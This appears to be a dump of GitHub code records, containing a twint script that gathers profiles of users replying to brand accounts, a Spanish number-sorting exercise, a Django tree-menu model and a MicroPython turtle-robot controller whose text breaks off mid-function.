+{"seq_id":"71867811129","text":"import pandas as pd\nimport numpy as np\nimport os\nimport csv\nimport twint\n\npath = os.path.normpath(os.path.dirname(os.path.abspath(__file__))+\"/../../data/extraction_twint/tweets_data/data_service_clients/\")\n\ndef __load_data(filename):\n    \"\"\"\n    returns all the data required for computing reply time : \n    id, conversation_id, datetime and username\n    \"\"\"\n    df=pd.read_csv(path+\"/with_reply_time/\"+filename+\".csv\")\n    return df\n\ndef __load_csv(file):\n    \"\"\"Loads the csv file containing all the brands names that should be extrated\n    returns a list of dictionnaries :\n    [\n        {'account': '@AmazonHelp', 'filename': 'amazon'},\n        {'account', '@StarbucksHelp', 'filename': 'starbucks')\n    ]\n    \"\"\"\n    rows = []\n    with open(file, newline='',encoding='utf-8-sig') as csvfile:\n        reader = csv.DictReader(csvfile)\n        for row in reader:\n            rows.append(row)\n    return rows\n\n\n# def __create_complete_dataframe(username, original_data, reply_time, save_to_csv=False, filename=None):\n#     #removes replies from the brand\n#     df = original_data[original_data['username'] != username[1:].lower()].set_index('id')\n#     #add reply time\n#     df['reply_time']=reply_time['reply_time']\n\n#     if save_to_csv:\n#         df.to_csv(path+\"/with_user_info/\"+filename+\".csv\")\n#     return df\n\n\n\ndef load_user_info(filename):\n    \"\"\"Load user info for all users in the df\n    \"\"\"\n    df = __load_data(filename)\n    users = df[\"username\"].unique()\n    len_users = len(users)\n\n    for i in range(len_users):\n        if i%100 == 0:\n            print(\"{} : {}/{} users extracted\".format(filename,i,len_users))\n        get_user(users[i], filename)\n\ndef get_user(username, filename):\n    c = twint.Config()\n    filename = os.path.normpath(path+\"/users_info/\"+filename+\".csv\")\n    c.Output = filename\n    c.Store_csv = True\n    c.Count = True\n    c.Hide_output = True\n    c.Username = username\n    twint.run.Lookup(c)\n\ndef load_user_info_all_brands():\n    #Load csv with account names + filenames\n    brands = __load_csv(os.path.normpath(path+\"/../../brand_accounts.csv\"))\n\n    #computes the reply time for every brand, and store it in the appropriate file\n    for brand in brands:\n        load_user_info(brand.get(\"filename\"))\n\nif __name__==\"__main__\":\n    ##LOAD USER INFO FOR ALL BRANDS\n    #load_user_info_all_brands()\n    \n    ##ONLY A SPECIFIC BRAND\n    load_user_info('wholefoods')\n","repo_name":"CaroleK/observatoire-twitter","sub_path":"data/extraction_twint/user_info.py","file_name":"user_info.py","file_ext":"py","file_size_in_byte":2408,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"29350766939","text":"#Ordenar tres números\ndef ordenar_numeros(num1, num2, num3):\n    numeros = [num1, num2, num3]\n    numeros.sort()\n    return numeros\n    \nnumero1 = int(input(\"Ingrese el primer número: \"))\nnumero2 = int(input(\"Ingrese el segundo número: \"))\nnumero3 = int(input(\"Ingrese el tercer número: \"))\n\nnumeros_ordenados = ordenar_numeros(numero1, numero2, numero3)\n\nresultado = ', '.join(str(numero) for numero in numeros_ordenados)\n\nprint(\"Los números ordenados de menor a mayor son:\", resultado)      ","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej6/hito1_ej6_556391e366e6f2b73541af111979d5bd.py","file_name":"hito1_ej6_556391e366e6f2b73541af111979d5bd.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26954937223","text":"from django.db import models\n\n\nclass Menu(models.Model):\n    title = models.CharField(max_length=100)\n\n\nclass MenuItem(models.Model):\n\n    title = models.CharField(max_length=100)\n\n    root_menu = models.ForeignKey(\n        Menu, null=True, on_delete=models.CASCADE, blank=True)\n\n    parent = models.ForeignKey(\n        'self', blank=True, null=True, on_delete=models.CASCADE)\n\n    link_url = models.CharField(max_length=100, unique=True)\n\n    level = models.IntegerField(default=0, editable=False)\n\n    class Meta:\n        verbose_name = 'menu item'\n        verbose_name_plural = 'menu items'\n\n    def get_level(self):\n        def get_parent_id(id):\n            return MenuItem.objects.values_list('parent', flat=True).get(id=id)\n\n        def is_has_parent(id_):\n            if MenuItem.objects.get(id=id_).parent:\n                return True\n            return False\n        level = 0\n        id_ = self.id\n        while is_has_parent(id_):\n            level += 1\n            id_ = get_parent_id(id_)\n        return level\n\n    def is_has_children(id):\n        if MenuItem.objects.filter(parent=id).exists():\n            return True\n        return False\n\n    def get_children(self):\n        kyes = ['id', 'title', 'url', 'level', 'children']\n        children = []\n        for menu in MenuItem.objects.filter(parent=self.id):\n            if MenuItem.is_has_children(id=menu.id):\n                children.append(\n                    {\n                        'id': menu.id,\n                        'title': menu.title,\n                        'url': menu.link_url,\n                        'level': menu.level,\n                        'children': menu.get_children()\n                    }\n                )\n            else:\n                children.append(\n                    {\n                        'id': menu.id,\n                        'title': menu.title,\n                        'url': menu.link_url,\n                        'level': menu.level,\n                        'children': None\n                    }\n                )\n\n        return children\n\n    def get_menu_from(root):\n        menu_tree = []\n\n        for menu in MenuItem.objects.filter(root_menu=root):\n            if MenuItem.is_has_children(id=menu.id):\n                menu_tree.append(\n                    {\n                        'id': menu.id,\n                        'title': menu.title,\n                        'url': menu.link_url,\n                        'level': menu.level,\n                        'children': menu.get_children()\n                    }\n                )\n            else:\n                menu_tree.append(\n                    {\n                        'id': menu.id,\n                        'title': menu.title,\n                        'url': menu.link_url,\n                        'level': menu.level,\n                        'children': None\n                    }\n                )\n        return menu_tree\n\n    def save(self, *args, **kwargs):\n        setattr(self, 'level', self.get_level())\n        super().save(*args, **kwargs)\n","repo_name":"retroraisins/djtreemenu","sub_path":"djtreemenu/treemenu/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24722976968","text":"from machine import Pin, Timer\n\nimport ubot_config as config\nimport ubot_buzzer as buzzer\nimport ubot_logger as logger\nimport ubot_motor  as motor\nimport ubot_data   as data\n\n\n_powerOns      = config.get(\"system\", \"power_ons\")\n_namedFolder   = config.get(\"turtle\", \"named_folder\")\n_turtleFolder  = config.get(\"turtle\", \"turtle_folder\")\n_moveChars     = config.get(\"turtle\", \"move_chars\")\n_turtleChars   = config.get(\"turtle\", \"turtle_chars\")\n_savedCount    = 0\n\n_clockPin = Pin(13, Pin.OUT)                                # Advances the decade counter (U3).\n_clockPin.off()\n                                                            # Checks the returning signal from turtle HAT.\n_inputPin = Pin(16, Pin.OUT)                                # FUTURE: _inputPin = Pin(16, Pin.IN)\n_inputPin.off()                                             # DEPRECATED: New PCB design (2.1) will resolve this.\n_inputPin.init(Pin.IN)                                      # DEPRECATED: New PCB design (2.1) will resolve this.\n\n_checkPeriod  = config.get(\"turtle\", \"check_period\")\n_counterPosition = 0                                        # The position of the decade counter (U3).\n\n_pressLength  = config.get(\"turtle\", \"press_length\")\n_maxError     = config.get(\"turtle\", \"max_error\")\n_lastPressed  = [0, 0]                                      # Inside: [last pressed button, elapsed (button check) cycles]\n_firstRepeat  = config.get(\"turtle\", \"first_repeat\")\n\n_loopChecking = config.get(\"turtle\", \"loop_checking\")\n\n_moveLength   = config.get(\"turtle\", \"move_length\")\n_turnLength   = config.get(\"turtle\", \"turn_length\")\n_halfTurn     = _turnLength // 2\n_breathLength = config.get(\"turtle\", \"breath_length\")\n\n_endSignalEnabled    = True\n_endSignalSkipCount  = 0\n_stepSignalEnabled   = True\n_stepSignalSkipCount = 0\n\n_endSignal    = config.get(\"turtle\", \"end_signal\")          # Sound indicates the end of a step during execution: buzzer.keyBeep(_endSignal)\n_stepSignal   = config.get(\"turtle\", \"step_signal\")         # Sound indicates the end of program execution:       buzzer.keyBeep(_stepSignal)\n\n_pressedListIndex = 0\n_pressedList  = [0] * (_pressLength + _maxError)            # Low-level:  The last N (_pressLength + _maxError) button check results.\n\n_commandArray   = bytearray()                               # High-level: Abstract commands, result of processed button presses.\n_commandPointer = 0                                         # Pointer for _commandArray.\n_programArray   = bytearray()                               # High-level: Result of one or more added _commandArray.\n_programParts   = [0]                                       # Positions by which _programArray can be split into _commandArray(s).\n\n_temporaryCommandPointer = 0                                # For stateless run\n_temporaryProgramArray   = bytearray()                      # with the capability of\n_temporaryProgramParts   = [0]                              # restore unsaved stuff.\n\n_loopCounter    = 0                                         # At loop creation this holds iteration count.\n\n_functionPosition = [-1, -1, -1]                            # -1 : not defined, -0.1 : under definition, 0+ : defined\n                                                            # If defined, this index the first command of the function,\n                                                            # refer to the first command of the function, instead of its curly brace \"{\".\n\n_blockStartIndex   = 0                                      # At block (loop, fn declaration) creation, this holds block start position.\n_blockStartStack   = []\n_mappingsStack     = []\n_processingProgram = False\n_runningProgram    = False\n_timer             = Timer(-1)                              # Executes the repeated button checks.\n\n_blockBoundaries   = ((40, 41), (123, 125), (126, 126))     # ((\"(\", \")\"), (\"{\", \"}\"), (\"~\", \"~\"))\n\n\n################################\n## PUBLIC METHODS\n\n\ndef isBusy():\n    return _processingProgram or _runningProgram\n\n\ndef getValidMoveChars():\n    return _moveChars\n\n\ndef getValidTurtleChars():\n    return _turtleChars\n\n\ndef checkButtons(timer: Timer = None):\n    _addCommand(_getValidatedPressedButton())\n\n\ndef press(pressed):  # pressed = 1<<buttonOrdinal\n    if isinstance(pressed, str):\n        pressed = int(pressed)\n\n    _logLastPressed(pressed)\n    _addCommand(pressed)\n\n\ndef move(direction):\n    if isinstance(direction, str):\n        direction = ord(direction)\n\n    movementTuple = _moveCharMapping.get(direction)\n    if movementTuple is not None:\n        motor.add(movementTuple)\n\n\ndef skipSignal(stepCount: int = 1, endCount: int = 0) -> None:\n    global _stepSignalSkipCount, _endSignalSkipCount\n\n    _stepSignalSkipCount += stepCount\n    _endSignalSkipCount += endCount\n\n\ndef getProgramsCount():\n    return sum(len(getProgramListOf(folder)) for folder in getProgramFolders())\n\n\ndef getProgramFolders():\n    return data.getFoldersOf(data.PROGRAM)\n\n\ndef doesFolderExist(folder: str) -> bool:\n    path = getPathOf(folder)\n    return path.isExist and path.isFolder\n\n\ndef createFolder(folder: str) -> bool:\n    return data.createFolder(getPathOf(\"program\", folder))\n\n\ndef getProgramListOf(folder: str) -> tuple:\n    return data.getFileNameListOf(\"program\", folder, \"txt\")\n\n\ndef doesProgramExist(folder, title):\n    path = getPathOf(folder, title)\n    return path.isExist and path.isFile\n\n\ndef getProgramCode(folder: str, title: str) -> str:\n    return \"\".join(data.getFile(getPathOf(folder, title), False))\n\n\ndef getPathOf(folder: str, title = \"\") -> data.Path:\n    return data.createPathOf(\"program\", folder, normalizeProgramTitleFromFolder(title, folder))\n\n\ndef getLastTurtleProgramTitle() -> str:\n    return sorted(getProgramListOf(_turtleFolder))[-1]\n\n\ndef normalizeProgramTitleFromFolder(title: str, folder: str) -> str:\n    return normalizeProgramTitle(title, folder == _turtleFolder)\n\n\ndef normalizeProgramTitle(title: object, isTurtle: bool = True) -> str:\n    turtleTuple = data.extractIntTuple(title, 2) if isTurtle else ()\n\n    if 0 < len(turtleTuple):\n        if 1 == len(turtleTuple):\n            return \"{:010d}_{:05d}.txt\".format(_powerOns, turtleTuple[0])\n        else:\n            return \"{:010d}_{:05d}.txt\".format(turtleTuple[0], turtleTuple[1])\n    else:\n        return title if isinstance(title, str) and title.endswith(\".txt\") else \"{}.txt\".format(title)\n\n\ndef runProgram(folder, title):\n    if doesProgramExist(folder, title):\n        retainInTemporary()\n        loadProgram(folder, title)\n        press(64)\n        loadFromTemporary()\n        return True\n    else:\n        return False\n\n\ndef loadProgram(folder, title):\n    clearMemory()\n    if doesProgramExist(folder, title):\n        loadProgramFromString(getProgramCode(folder, title))\n        return True\n    else:\n        return False\n\n\ndef loadProgramFromString(turtleCode):\n    global _programArray, _programParts\n\n    clearMemory()\n    try:\n        array = turtleCode.encode()\n        _programArray = array\n        _programParts = [len(array)]\n        return True\n    except Exception as e:\n        logger.append(e)\n        return False\n\n\ndef saveLoadedProgram(folder = \"\", title = \"\"):\n    return saveProgram(folder if data.isStringWithContent(folder) else _namedFolder, title, getProgramArray())\n\n\ndef saveProgram(folder: str = \"\", title: str = \"\", program: str = \"\") -> data.Path:\n    global _savedCount\n\n    folder = folder if data.isStringWithContent(folder) else _namedFolder\n\n    isTitleValid = data.isStringWithContent(title)\n    path = data.createPathOf(\"program\", folder, title) if isTitleValid else _generateFullPathForAutoSave()\n\n    result = data.saveFile(path, program, False, True)\n\n    if not result and not isTitleValid:\n        _savedCount -= 1\n\n    return path if result else data.INVALID_PATH\n\n\ndef _generateFullPathForAutoSave() -> data.Path:\n    global _savedCount\n    _savedCount += 1\n    return data.createPathOf(\"program\", _turtleFolder, \"{:010d}_{:05d}.txt\".format(_powerOns, _savedCount))\n\n\ndef deleteProgram(folder: str = \"\", title: str = \"\") -> bool:\n    pass\n\n\ndef _unavailableProgramAction(*args) -> bool:\n    return False\n\n\ndef _unavailableProgramResultSupplier(*args) -> dict:\n    return {}\n\n\ndef doProgramAction(folder: str = \"\", title: str = \"\", action: str = \"run\") -> tuple:\n    folder = folder if data.isStringWithContent(folder) else _turtleFolder\n    title = title if data.isStringWithContent(title) else getLastTurtleProgramTitle()\n    action = action.lower()\n\n    try:\n        return _programActions.setdefault(action, _unavailableProgramAction)(folder, title), \\\n               _programResultSupplier.setdefault(action, _unavailableProgramResultSupplier)(folder, title)\n    except Exception as e:\n        logger.append(e)\n    return False, {}\n\n\n_programActions = {\n    \"run\"   : runProgram,\n    \"load\"  : loadProgram,\n    \"delete\": deleteProgram\n}\n\n_programResultSupplier = {\n\n}\n\n\ndef getCommandArray():\n    return _commandArray[:_commandPointer].decode()\n\n\ndef getProgramArray():\n    return _programArray[:_programParts[-1]].decode()\n\n\ndef isMemoryEmpty():\n    return isCommandMemoryEmpty() and isProgramMemoryEmpty()\n\n\ndef isCommandMemoryEmpty():\n    return _commandPointer == 0\n\n\ndef isProgramMemoryEmpty():\n    return _programParts == [0]\n\n\ndef clearMemory():\n    clearCommandMemory()\n    clearProgramMemory()\n\n\ndef clearProgramMemory():\n    global _programParts\n    _programParts = [0]\n\n\ndef clearCommandMemory():\n    global _commandPointer\n    _commandPointer = 0\n\n\ndef retainInTemporary():\n    global _temporaryCommandPointer, _temporaryProgramParts, _temporaryProgramArray\n\n    _temporaryCommandPointer = _commandPointer\n    _temporaryProgramParts = _programParts\n    _temporaryProgramArray = _programArray\n\n\ndef loadFromTemporary():\n    global _commandPointer, _programParts, _programArray\n\n    _commandPointer = _temporaryCommandPointer\n    _programParts = _temporaryProgramParts\n    _programArray = _temporaryProgramArray\n\n\n\n################################################################\n################################################################\n##########\n##########  PRIVATE, CLASS-LEVEL METHODS\n##########\n\n\n################################\n## BUTTON PRESS PROCESSING\n\ndef _startButtonChecking():\n    _timer.init(\n        period = _checkPeriod,\n        mode = Timer.PERIODIC,\n        callback = checkButtons\n    )\n\n\ndef _stopButtonChecking():\n    _timer.deinit()\n\n\ndef _getValidatedPressedButton():\n    global _lastPressed\n\n    pressed = _getPressedButton()\n\n    _logLastPressed(pressed)\n\n    if _lastPressed[1] == 1 or _firstRepeat < _lastPressed[1]:    # Lack of pressing returns same like a button press.\n        _lastPressed[1] = 1                                       # In this case the returning value is 0.\n        return pressed\n    else:\n        return 0                                                 # If validation is in progress, returns 0.\n\n\ndef _logLastPressed(pressed):\n    global _lastPressed\n\n    if pressed == _lastPressed[0]:\n        _lastPressed[1] += 1\n    else:\n        _lastPressed = [pressed, 1]\n\n\ndef _getPressedButton():\n    global _pressedList, _pressedListIndex\n\n    pressed = 0\n\n    for i in range(10):\n        # pseudo pull-down                 # DEPRECATED: New PCB design (2.1) will resolve this.\n        if _inputPin.value() == 1:         # DEPRECATED: New PCB design (2.1) will resolve this.\n            _inputPin.init(Pin.OUT)        # DEPRECATED: New PCB design (2.1) will resolve this.\n            _inputPin.off()                # DEPRECATED: New PCB design (2.1) will resolve this.\n            _inputPin.init(Pin.IN)         # DEPRECATED: New PCB design (2.1) will resolve this.\n\n        if _inputPin.value() == 1:\n            pressed += 1 << _counterPosition # pow(2, _counterPosition)\n\n        _advanceCounter()\n\n    # shift counter's \"resting position\" to the closest pressed button to eliminate BTN LED flashing\n    if 0 < pressed:\n        while bin(1024 + pressed)[12 - _counterPosition] != \"1\":\n            _advanceCounter()\n\n    _pressedList[_pressedListIndex] = pressed\n    _pressedListIndex += 1\n    if len(_pressedList) <= _pressedListIndex:\n        _pressedListIndex = 0\n\n    errorCount = 0\n\n    for pressed in _pressedList:\n        count = _pressedList.count(pressed)\n\n        if _pressLength <= count:\n            return pressed\n\n        errorCount += count\n        if _maxError < errorCount:\n            return 0\n\n\ndef _advanceCounter():\n    global _counterPosition\n\n    _clockPin.on()\n\n    if 9 <= _counterPosition:\n        _counterPosition = 0\n    else:\n        _counterPosition += 1\n\n    _clockPin.off()\n\n\n\n################################\n## BUTTON PRESS INTERPRETATION\n\ndef _addCommand(pressed):\n    global _processingProgram, _runningProgram\n\n    try:\n        if pressed == 0:                # result = 0 means, there is nothing to save to _commandArray.\n            result = 0                  # Not only lack of buttonpress (pressed == 0) returns 0.\n        elif _runningProgram:\n            motor.stop()                                                    # Stop commands / program execution.\n            _processingProgram = False\n            _runningProgram    = False\n            result = _beepAndReturn((\"processed\", 0))                   # Beep and skip the (result) processing.\n        else:\n            tupleWithCallable = _currentMapping.get(pressed)                # Dictionary based switch...case\n\n            if tupleWithCallable is None:                                   # Default branch\n                result = 0                                                  # Skip the (result) processing.\n            else:\n                if tupleWithCallable[1] == ():\n                    result = tupleWithCallable[0]()\n                else:\n                    result = tupleWithCallable[0](tupleWithCallable[1])\n\n        if result != 0:\n            if isinstance(result, int):\n                _addToCommandArray(result)\n            elif isinstance(result, tuple):\n                for r in result:\n                    _addToCommandArray(r)\n            else:\n                print(\"Wrong result: {}\".format(result))\n    except Exception as e:\n        logger.append(e)\n\n\ndef _addToCommandArray(command):\n    global _commandArray, _commandPointer\n\n    if _commandPointer < len(_commandArray):\n        _commandArray[_commandPointer] = command\n    else:\n        _commandArray.append(command)\n\n    _commandPointer += 1\n\n\n\n################################\n## HELPER METHODS FOR BLOCKS\n\ndef _blockStarted(newMapping):\n    global _blockStartIndex, _currentMapping\n\n    _blockStartStack.append(_blockStartIndex)\n    _blockStartIndex = _commandPointer\n    _mappingsStack.append(_currentMapping)\n    _currentMapping  = newMapping\n    buzzer.setDefaultState(1)\n    buzzer.keyBeep(\"started\")\n\n\ndef _blockCompleted(deleteFlag):\n    global _commandPointer, _blockStartIndex, _currentMapping\n\n    if len(_mappingsStack) != 0:\n        if deleteFlag:\n            _commandPointer = _blockStartIndex\n\n        _blockStartIndex = _blockStartStack.pop()\n        _currentMapping  = _mappingsStack.pop()\n\n        if len(_mappingsStack) == 0:        # len(_mappingsStack) == 0 means all blocks are closed.\n            buzzer.setDefaultState(0)\n\n        if deleteFlag:\n            buzzer.keyBeep(\"deleted\")\n            return True\n        else:\n            buzzer.keyBeep(\"completed\")\n            return False\n\n\ndef _getOppositeBoundary(commandPointer):\n    boundary = _commandArray[commandPointer]\n\n    for boundaryPair in _blockBoundaries:\n        if boundary == boundaryPair[0]:\n            return boundaryPair[1]\n        elif boundary == boundaryPair[1]:\n            return boundaryPair[0]\n    return -1\n\n\ndef _isTagBoundary(commandPointer):\n    return _commandArray[commandPointer] == _getOppositeBoundary(commandPointer)\n\n\n\n################################\n## STANDARDIZED FUNCTIONS\n\ndef _start(arguments):                # (blockLevel,)\n    global _processingProgram, _runningProgram\n\n    buzzer.keyBeep(\"processed\")\n    _processingProgram = True\n    _runningProgram    = True\n    _stopButtonChecking()\n\n    if arguments[0] or 0 < _commandPointer: # Executing the body of a block or the _commandArray\n        _toPlay        = _commandArray\n        _upperBoundary = _commandPointer\n    else:                                   # Executing the _programArray\n        _toPlay        = _programArray\n        _upperBoundary = _programParts[-1]\n\n    _pointer      =  _blockStartIndex + 1 if arguments[0] else 0\n    _pointerStack = []\n    _counterStack = []\n\n    config.saveDateTime()\n    logger.logCommandsAndProgram()\n\n    motor.setCallback(0, _callbackEnd)\n    motor.setCallback(1, _callbackStep)\n\n    #counter = 0                                   #    Debug\n    #print(\"_toPlay[:_pointer]\", \"_toPlay[_pointer:]\", \"\\t\\t\\t\", \"counter\", \"_pointer\", \"_toPlay[_pointer]\") # Debug\n\n    while _processingProgram:\n        remaining = _upperBoundary - 1 - _pointer #    Remaining bytes in _toPlay bytearray. 0 if _toPlay[_pointer] == _toPlay[-1]\n        checkCounter = False\n\n        if remaining < 0:                         #    If everything is executed, exits.\n            _processingProgram = False\n\n\n        elif _toPlay[_pointer] == 40:           # \"(\"  The block-level previews are excluded. (Those starts from first statement.)\n\n            _pointerStack.append(_pointer)      #      Save the position of the loop's starting parentheses: \"(\"\n\n            while _pointer < _upperBoundary and _toPlay[_pointer] != 42: # \"*\"  Jump to the end of the loop's body.\n                _pointer += 1\n\n            remaining = _upperBoundary - 1 - _pointer\n\n            if 2 <= remaining and _toPlay[_pointer] == 42:       # If the loop is complete and the pointer is at the end of its body.\n                _counterStack.append(_toPlay[_pointer + 1] - 48) # Counter was increased at definition by 48. b'0' == 48\n                checkCounter = True\n            else:                               #      Maybe it's an error, so stop execution.\n                _processingProgram = False\n\n\n        elif _toPlay[_pointer] == 42:           # \"*\"  End of the body of the loop.\n            _counterStack[-1] -= 1              #      Decrease the loop counter.\n            checkCounter = True\n\n\n        elif _toPlay[_pointer] == 123:          # \"{\"  Start of a function.\n\n            while _pointer < _upperBoundary and _toPlay[_pointer] != 125: # \"}\" Jump to the function's closing curly brace.\n                _pointer += 1\n\n            if _toPlay[_pointer] != 125:        #      Means the _pointer < _upperBoundary breaks the while loop.\n                _processingProgram = False\n\n\n        elif _toPlay[_pointer] == 124:          # \"|\"  End of the currently executed function.\n            _pointer = _pointerStack.pop()      #      Jump back to where the function call occurred.\n\n\n        elif _toPlay[_pointer] == 126:          # \"~\"\n            if 2 <= remaining and _toPlay[_pointer + 2] == 126: # Double-check: 1. Enough remaining to close function call; 2. \"~\"\n                _pointerStack.append(_pointer + 2)      # Save the returning position as the second tilde: \"~\"\n                _index = _toPlay[_pointer + 1] - 49     # Not 48! functionId - 1 = array index\n                _jumpTo = -1                            # Declared with -1 because of the check \"_pointer != _jumpTo\".\n                if _index < len(_functionPosition):     # If the _functionPosition contains the given function index.\n                    _jumpTo = _functionPosition[_index]\n                    if 0 <= _jumpTo:                    # If the retrieved value from _functionPosition is a real position.\n                        _pointer = _jumpTo\n                if _pointer != _jumpTo:                 # This handles both else branch of previous two if statements:\n                    del _pointerStack[-1]               # The function call failed, there is no need for \"jump back\" index.\n                    _pointer += 2                       # Jump to the second tilde: \"~\" (Skip the whole function call.)\n            else:                                       # Maybe it's an error, so stop execution.\n                _processingProgram = False\n\n\n        else:\n            move(_toPlay[_pointer])             #      Try to execute the command as move. It can fail without exception.\n\n\n        if checkCounter:\n            if 0 < _counterStack[-1]:           #      If the loop counter is greater than 0.\n                _pointer = _pointerStack[-1]    #      Jump back to the loop starting position.\n            else:\n                del _pointerStack[-1]           #      Delete the loop's starting position from stack.\n                del _counterStack[-1]           #      Delete the loop's counter from stack.\n                _pointer += 2                   #      Jump to the loop's closing parentheses: \")\"\n\n        _pointer += 1\n\n    _processingProgram = False\n\n    _startButtonChecking()\n    return 0\n\n\n# COMMAND AND PROGRAM ARRAY\n\ndef _addToProgOrSave():\n    global _commandPointer, _programArray\n\n    if _commandPointer != 0:\n        for i in range(_commandPointer):\n            if _programParts[-1] + i < len(_programArray):\n                _programArray[_programParts[-1] + i] = _commandArray[i]\n            else:\n                _programArray.append(_commandArray[i])\n\n        _programParts.append(_programParts[-1] + _commandPointer)\n        _commandPointer = 0\n        buzzer.keyBeep(\"added\")\n    elif _programParts[-1] != 0:\n        saveLoadedProgram()\n        buzzer.keyBeep(\"saved\")\n\n    return 0\n\n\n# LOOP\n\ndef _createLoop(arguments):                 # (creationState,)                40 [statements...] 42 [iteration count] 41\n    global _currentMapping, _loopCounter\n\n    if arguments[0] == 40:\n        _blockStarted(_loopBeginMapping)\n        _loopCounter = 0\n        return 40\n    elif arguments[0] == 42:\n        if _commandPointer - _blockStartIndex < 2:      # If the body of the loop is empty,\n            _blockCompleted(True)                       # close and delete the complete block.\n            return 0\n        else:\n            _currentMapping = _loopCounterMapping\n            buzzer.keyBeep(\"input_needed\")\n            return 42\n    elif arguments[0] == 41:\n         # _blockCompleted deletes the loop if counter is zero, and returns with the result of the\n         # deletion (True if deleted). This returning value is used as index: False == 0, and True == 1\n         # Increase _loopCounter by 48 = human-friendly bytes: 48 -> \"0\", 49 -> \"1\", ...\n        return ((_loopCounter + 48, 41), 0)[_blockCompleted(_loopCounter == 0)]\n\n\ndef _modifyLoopCounter(arguments):          # (value,)     Increasing by this value, if value == 0, it resets he counter\n    global _loopCounter\n\n    if _loopCounter + arguments[0] < 0:     # Checks lower boundary.\n        _loopCounter = 0\n        buzzer.keyBeep(\"boundary\")\n    elif 255 < _loopCounter + arguments[0]: # Checks upper boundary.\n        _loopCounter = 255\n        buzzer.keyBeep(\"boundary\")\n    elif arguments[0] == 0:                 # Reset the counter. Use case: forget the exact count and press 'X'.\n        _loopCounter = 0\n        buzzer.keyBeep(\"deleted\")\n    else:                                   # General modification.\n        _loopCounter += arguments[0]\n        buzzer.keyBeep(\"change_count\")\n    return 0\n\n\ndef _checkLoopCounter():\n    global _loopChecking\n\n    if _loopChecking == 2 or (_loopChecking == 1 and _loopCounter <= 20):\n        buzzer.keyBeep(\"attention\")\n        buzzer.midiBeep(64, 100, 500, _loopCounter)\n    else:\n        buzzer.keyBeep(\"too_long\")\n    buzzer.rest(1000)\n    return 0\n\n\n# FUNCTION\n\ndef _manageFunction(arguments):             # (functionId, onlyCall)                    123 [statements...] 124 [id] 125\n    global _functionPosition                #                           function call:  126 [id] 126\n\n    index = arguments[0] - 1                # functionId - 1 == Index in _functionPosition\n\n    if index < 0 or len(_functionPosition) < index: # The given index is out of array.\n        buzzer.keyBeep(\"boundary\")\n        return 0                            # Ignore and return.\n    elif len(_functionPosition) == index:      # The given index is out of array. However, it's subsequent:\n        _functionPosition.append(-1)        # Extending the array and continue.\n\n    # Calling the function if it is defined, or flag 'only call' is True and it is not under definition.\n    # In the second case, position -1 (undefined) is fine. (lazy initialization)\n    if 0 <= _functionPosition[index] or (arguments[1] and _functionPosition[index] != -0.1):\n        buzzer.keyBeep(\"processed\")\n        return 126, arguments[0] + 48, 126   # Increase by 48 = human-friendly bytes: 48 -> \"0\", 49 -> \"1\", ...\n    elif _functionPosition[index] == -0.1:          # End of defining the function\n        # Save index to _functionPosition, because _blockStartIndex will be destroyed during _blockCompleted().\n        _functionPosition[index] = len(_programArray) + _blockStartIndex\n\n        # If function contains nothing\n        # (_commandPointer - _blockStartIndex < 2 -> Function start and end are adjacent.),\n        # delete it by _blockCompleted() which return a boolean (True if deleted).\n        # If this returning value is True, retain len(_programArray) + _blockStartIndex, else overwrite it with -1.\n        if _blockCompleted(_commandPointer - _blockStartIndex < 2):\n            _functionPosition[index] = -1\n\n        return (0, (124, arguments[0] + 48, 125))[0 <= _functionPosition[index]] # False == 0, and True == 1 (defined)\n\n    else:                                             # Beginning of defining the function\n        _blockStarted(_functionMapping)\n        _functionPosition[index] = -0.1              # In progress, so it isn't -1 (undefined) or 0+ (defined).\n        return 123\n\n\n# GENERAL\n\ndef _beepAndReturn(arguments):              # (keyOfBeep, returningValue)\n    buzzer.keyBeep(arguments[0])\n    return arguments[1]\n\n\ndef _undo(arguments):                       # (blockLevel,)\n    global _commandPointer, _commandArray, _functionPosition\n\n    # Sets the maximum range of undo in according to blockLevel flag.\n    undoLowerBoundary = _blockStartIndex + 1 if arguments[0] else 0\n\n    if undoLowerBoundary < _commandPointer:                         # If there is anything that can be undone.\n        _commandPointer -= 1\n        buzzer.keyBeep(\"undone\")\n\n        # _getOppositeBoundary returns -1 if byte at _commandPointer is not boundary or its pair.\n        boundary = _getOppositeBoundary(_commandPointer)\n\n        if boundary != -1:\n            if boundary == 123:                                    # \"{\" If it undoes a function declaration, unregister:\n                _functionPosition[_commandArray[_commandPointer - 1] - 49] = -1 # Not 48! functionId - 1 = array index\n            while True:                                            # General undo decreases the pointer by one, so this\n                _commandPointer -= 1                               # do...while loop can handle identical boundary pairs.\n                if _commandArray[_commandPointer] == boundary or _commandPointer == undoLowerBoundary:\n                    break\n\n            if not _isTagBoundary(_commandPointer):                # Tags (like function calling) need no keyBeep().\n                buzzer.keyBeep(\"deleted\")\n\n        if _commandPointer == undoLowerBoundary:\n            buzzer.keyBeep(\"boundary\")\n    else:\n        if arguments[0] or _programParts == [0]:   # If block-level undo or no more loadable command from _programArray.\n            buzzer.keyBeep(\"boundary\")\n        else:\n            _commandPointer = _programParts[-1] - _programParts[-2]\n            _commandArray   = _programArray[_programParts[-2] : _programParts[-1]]\n            del _programParts[-1]\n            buzzer.keyBeep(\"loaded\")\n    return 0\n\n\ndef _delete(arguments):                     # (blockLevel,)\n    global _commandPointer, _programParts, _functionPosition\n\n    if arguments[0]:                        # Block-level: delete only the unfinished block.\n        _blockCompleted(True)               # buzzer.keyBeep(\"deleted\") is called inside _blockCompleted(True)\n        for i in range(len(_functionPosition)): # Maybe there are user defined functions, so not range(3).\n            if _functionPosition[i] == -0.1:    # If this function is unfinished.\n                _functionPosition[i] = -1       # Set as undefined.\n    else:                                   # Not block-level: the whole array is affected.\n        if _commandPointer != 0:            # _commandArray isn't \"empty\", so \"clear\" it.\n            for i in range(_commandPointer - 3):                            # Unregister functions defined in deleted range.\n                if _commandArray[i] == 124 and _commandArray[i + 2] == 125: # \"|\" and \"}\"\n                    _functionPosition[_commandArray[i + 1] - 49] = -1       # Not 48! functionId - 1 = array index\n            _commandPointer = 0             # \"Clear\" _commandArray.\n            